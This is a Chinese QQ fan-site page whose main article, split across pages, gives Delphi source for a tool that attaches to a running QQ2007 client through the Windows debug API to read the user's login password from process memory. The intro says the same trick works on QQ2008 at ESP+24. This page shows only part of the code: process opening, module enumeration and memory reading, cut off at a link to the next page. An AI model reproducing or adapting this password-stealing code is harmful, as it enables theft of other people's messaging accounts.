首页  QQ软件  QQ新闻  QQ号码  QQ空间  QQ头像  QQ游戏  QQ宠物  QQ美化  QQ教学  聊天宝典  桌面壁纸

网站首页

QQ空间

QQ号码

QQ桌面

QQ软件

QQ游戏
Google
QQ空间 QQ空间背影 QQ珊瑚虫 QQ头像 QQ软件下载 QQ美女 五位QQ
   QQ点击排行榜
固顶qq空间[QQ空间代码]非主流禁图片4297
普通qq空间[QQ空间代码]非主流桌面图片16541
普通qq空间[QQ空间代码]非主流闪动图片9991
普通qq空间[QQ空间背景]>>qq空间黑色背景代码8232
普通qq空间[QQ空间]QQ空间黑色背景的素材4601
推荐qq空间[QQ空间代码]非主流动态图片:型男索3349
普通qq空间[QQ空间]非主流男女接吻图片3327
普通qq空间[QQ空间代码]非主流浪漫图片3237
普通qq空间[QQ空间代码]非主流个性另类图片-天3050
普通qq空间[QQ空间]非主流黑色系图片2808
普通qq空间[QQ空间]非主流可爱图片2786
普通qq空间[QQ空间代码]非主流另类图片“我会2618
推荐qq空间[QQ空间代码]非主流另类图片-眼角的2384
普通qq空间[QQ空间大图][图文]  闪光文字贴图2361
普通qq空间[QQ空间代码]非主流个性图片“如果2187
普通qq空间[QQ空间]QQ空间漂浮物代码2167
普通qq空间[QQ空间代码]非主流个性图片“宝贝2107
普通qq空间[QQ空间代码]非主流空间动态图片2056
普通qq空间[QQ空间]透明Flash1987
推荐qq空间[QQ空间背景]>>几款QQ空间时尚背景1891
推荐qq空间[QQ空间背景]>>女孩子超喜欢的背景1887
普通qq空间[QQ空间背景]>>qq空间背景音乐代码1850
普通qq空间[QQ空间大图][图文]  轻舞飞扬1803
普通qq空间[QQ空间背景]QQ空间免费黑色皮肤代1791
普通qq空间[QQ空间大图][图文]  空间动态文字1775
普通qq空间[QQ空间代码]非主流悲伤图片1708
普通qq空间[QQ空间背景]>>免费使用黄钻QQ空间1708
普通qq空间[QQ空间代码]非主流男图片1649
普通qq空间[QQ空间]QQ永久站模块--清纯美1595
普通qq空间[QQ空间]我的堕落天使1594
普通qq空间[QQ空间背景]>>QQ空间背景代码[数款1591
普通qq空间[QQ空间背景]非主流个性浪漫爱情图1557
普通qq空间[QQ空间代码]非主流颓废图片1511
普通qq空间[QQ空间]甜蜜情侣非主流接吻图1474
   您现在的位置: QQ永久站 >> QQ号码 >> QQ号码技巧 >> 正文

利用Debug Api 获得QQ2007密码

作者:未知    QQ号码来源:互联网    点击数:    更新时间:2008-6-1    
随手写写的代码.这是上年的代码.2008版同样可以在ESP+24读取密码.只不过下断位置不同罢了.

{*******************************************************}
{ }
{ 利用Debug Api 获得QQ2007密码 }
{ 只支持QQ2007版本为7.1.576.1763或7.0.431.1723 }
{ 版权所有 (C) 2008 Open[x.g.c] }
{ }
{*******************************************************}

unit UnIT1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ComCtrls,psapi,StrUtils;

type
TForm1 = class(TForm)
Button1: TButton;
Label1: TLabel;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
const
Code :DWORD = $CC;
JCode :DWORD =$8D;
implementation

{$R *.dfm}
var
ProcessID: DWORD;

function HexToInt(HexStr: string): Int64;
var
RetVar: Int64;
i: byte;
begin
HexStr := UpperCase(HexStr);
if HexStr[length(HexStr)] = ’H’ then
Delete(HexStr, length(HexStr), 1);
RetVar := 0;
for i := 1 to length(HexStr) do begin
RetVar := RetVar shl 4;
if HexStr[i] in [’0’..’9’] then
RetVar := RetVar + (byte(HexStr[i]) - 48)
else
if HexStr[i] in [’A’..’F’] then
RetVar := RetVar + (byte(HexStr[i]) - 55)
else begin
Retvar := 0;
break;
end;
end;
Result := RetVar;
end;

function GetMem(nOK :THANDLE;Addr:DWORD;len:integer=0):string;
const FindCount=100;
var
buf1:array[0..FindCount] of pchar ;
OK :BOOL;
nSize: DWORD;
lpNumberOfBytesRead:cardinal;
res,tmp:string;
s:array[0..FindCount] of string;
i:integer;
begin
if len<>0 then begin
nSize:=len ;
buf1[0]:=AllocMem(nSize);
OK :=ReadProcessMemory(nOK,Pointer(addr),buf1[0],nSize,lpNumberOfBytesRead);
if(OK or (nSize<>lpNumberOfBytesRead)) then begin
s[0]:=’’;
for i :=0 to nSize-1 do begin
s[0] := s[0] + format(’%.2X’,[ord(buf1[0][i])]);
end;
end;
FreeMem(buf1[0], nSize);
tmp:=s[0];
i:=1;
res:=’’;
while i<length(tmp) do begin
res:=res+chr(HexToInt(copy(tmp,i,2)));
inc(i,2);
end;
result:=res;
exIT;
end;
end;

procedure NewProcess;
var
I: Integer;
Count: DWORD;
ModHandles: array[0..$3FFF - 1] of DWORD;
ModInf TModuleInfo;
ModName: array[0..MAX_PATH] of char;
Num : Cardinal;
Rc,ok :Boolean;
DebugD: DEBUG_EVENT;
Context: _CONTEXT;
base: Pointer;
ProcHand : THandle;
ThreadHandle :THandle;
EAX : string;
begin
ProcHand := OpenProcess(PROCESS_ALL_ACCESS,False,ProcessID);
if ProcHand <> 0 then
try
EnumProcessModules(ProcHand,@ModHandles,SizeOf(ModHandles),Count);
for I :=0 to (Count div SizeOf(DWORD)) - 1 do
if (GetModuleFileNameEx(ProcHand,ModHandles[i],ModName,SizeOf(ModName)) > 0) and GetModuleInformation(ProcHand,
ModHandles[i],@ModInf

[1] [2] 下一页

QQ号码录入:yuanmao    责任编辑:ceoo 
  • 上一个QQ号码:

  • 下一个QQ号码: 没有了
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    关于我们 - 广告服务 - 网站建设 - 设为主页 - 加为收藏 - 在线留言 - 友情链接 - 帮助中心 - 网站地图